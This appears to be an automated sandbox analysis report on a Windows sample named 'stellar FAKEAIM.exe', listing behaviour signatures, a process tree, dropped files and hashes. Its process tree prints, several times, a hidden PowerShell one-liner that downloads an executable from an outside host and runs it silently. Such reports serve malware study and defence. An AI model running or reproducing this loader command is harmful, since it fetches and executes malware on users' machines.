Analysis

  • user interaction
    yes
  • max time kernel
    28s
  • max time network
    15s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/10/2026, 13:14

General

  • Target
    stellar FAKEAIM.exe
  • Size 381KB
  • Sample261009-qgtkhagy21
  • SHA256 9265fac43298fe9dd70df817c6403be8aa73ade932b6ee150150513c1cd19da7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\stellar FAKEAIM.exe
    "C:\Users\Admin\AppData\Local\Temp\stellar FAKEAIM.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:3352
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Users\Admin\AppData\Roaming\BK811778.exe
            "C:\Users\Admin\AppData\Roaming\BK811778.exe"
            5⤵
            • Executes dropped EXE
            PID:632

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_geo52og3.yxi.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_geo52og3.yxi.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        BK811778.exe

        • Path C:\Users\Admin\AppData\Roaming\BK811778.exe
        • Size 277KB
        • SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/452-0-0x000001BEEC0E0000-0x000001BEEC0F0000-memory.dmp

        memory/452-8-0x000001BEEC9D0000-0x000001BEEC9F2000-memory.dmp